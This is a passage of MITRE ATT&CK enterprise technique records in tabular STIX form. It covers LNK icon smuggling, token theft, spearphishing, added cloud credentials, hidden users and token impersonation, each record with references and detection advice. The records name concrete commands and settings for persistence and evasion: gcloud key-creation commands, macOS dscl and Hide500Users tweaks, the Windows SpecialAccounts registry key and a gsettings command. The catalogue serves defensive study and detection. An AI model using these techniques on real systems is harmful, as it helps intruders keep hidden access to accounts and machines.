"Linux",
"macOS",
"Windows",
"Network"
] | 1.1 |
attack-pattern | attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-09-29T15:28:42.409000Z" | "2023-10-17T02:12:05.242000Z" | LNK Icon Smuggling | Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.
Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)
LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.012",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/012"
},
{
"description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.",
"external_id": null,
"source_name": "Unprotect Shortcut",
"url": "https://unprotect.it/technique/shortcut-hiding/"
},
{
"description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.",
"external_id": null,
"source_name": "Booby Trap Shortcut 2017",
"url": "https://www.uperesia.com/booby-trapped-shortcut"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:50:29.936000Z" | "2024-01-16T22:47:59.395000Z" | Web Services | Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/006"
},
{
"description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
"external_id": null,
"source_name": "FireEye APT29",
"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-09-04T15:54:25.684000Z" | "2024-03-24T19:41:54.832000Z" | Steal Application Access Token | Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.
For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.
Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1528",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1528"
},
{
"description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Amnesty OAuth Phishing Attacks, August 2019",
"url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
},
{
"description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021.",
"external_id": null,
"source_name": "Auth0 Understanding Refresh Tokens",
"url": "https://auth0.com/learn/refresh-tokens/"
},
{
"description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
"url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
},
{
"description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.",
"external_id": null,
"source_name": "Cider Security Top 10 CICD Security Risks",
"url": "https://www.cidersecurity.io/top-10-cicd-security-risks/"
},
{
"description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
"external_id": null,
"source_name": "Trend Micro Pawn Storm OAuth 2017",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
},
{
"description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "Kubernetes Service Accounts",
"url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
},
{
"description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
},
{
"description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Microsoft - Azure AD App Registration - May 2019",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
},
{
"description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
},
{
"description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Microsoft Identity Platform Protocols May 2019",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.
Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.
Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"SaaS",
"Office 365",
"Azure AD",
"Google Workspace",
"Containers"
] | 1.3 |
attack-pattern | attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T17:08:57.386000Z" | "2021-04-15T03:41:33.335000Z" | Spearphishing Attachment | Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1598.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1598/002"
},
{
"description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Sophos Attachment",
"url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
},
{
"description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
"external_id": null,
"source_name": "GitHub Phishery",
"url": "https://github.com/ryhanson/phishery"
},
{
"description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Microsoft Anti Spoofing",
"url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
},
{
"description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ACSC Email Spoofing",
"url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-19T16:10:15.008000Z" | "2024-02-28T14:35:00.862000Z" | Additional Cloud Credentials | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1098.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/001"
},
{
"description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "Crowdstrike AWS User Federation Persistence",
"url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
},
{
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Expel IO Evil in AWS",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "SpecterOps Azure Privilege Escalation",
"url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
},
{
"description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
"external_id": null,
"source_name": "Demystifying Azure AD Service Principals",
"url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
},
{
"description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
"external_id": null,
"source_name": "GCP SSH Key Add",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
},
{
"description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
"external_id": null,
"source_name": "Blue Cloud of Death Video",
"url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
},
{
"description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
"external_id": null,
"source_name": "Blue Cloud of Death",
"url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
},
{
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "Microsoft SolarWinds Customer Guidance",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
"external_id": null,
"source_name": "Expel Behind the Scenes",
"url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
},
{
"description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
"external_id": null,
"source_name": "Sysdig ScarletEel 2.0",
"url": "https://sysdig.com/blog/scarleteel-2-0/"
},
{
"description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.
Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS",
"Azure AD",
"SaaS"
] | 2.7 |
attack-pattern | attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2024-04-12T03:46:49.507000Z" | User Execution | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1204",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1204"
},
{
"description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Krebs Discord Bookmarks 2023",
"url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
},
{
"description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.",
"external_id": null,
"source_name": "Telephone Attack Delivery",
"url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"
},
{
"description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Talos Roblox Scam 2023",
"url": "https://blog.talosintelligence.com/roblox-scam-overview/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.
Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS",
"IaaS",
"Containers"
] | 1.6 |
attack-pattern | attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T14:31:34.778000Z" | "2022-07-28T18:55:35.988000Z" | Internal Defacement | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1491.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491/001"
},
{
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
"external_id": null,
"source_name": "Novetta Blockbuster Destructive Malware",
"url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
},
{
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
"external_id": null,
"source_name": "Novetta Blockbuster",
"url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T20:12:40.876000Z" | "2022-04-19T02:31:01.315000Z" | Hidden Users | Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)
Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/002"
},
{
"description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
"external_id": null,
"source_name": "Cybereason OSX Pirrit",
"url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
},
{
"description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.",
"external_id": null,
"source_name": "Apple Support Hide a User Account",
"url": "https://support.apple.com/en-us/HT203998"
},
{
"description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.",
"external_id": null,
"source_name": "FireEye SMOKEDHAM June 2021",
"url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
},
{
"description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
"external_id": null,
"source_name": "Hide GDM User Accounts",
"url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/"
},
{
"description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
"external_id": null,
"source_name": "US-CERT TA18-074A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> key.
In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-18T18:03:37.481000Z" | "2024-01-10T17:55:46.905000Z" | Make and Impersonate Token | Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.
This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1134.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/003"
},
{
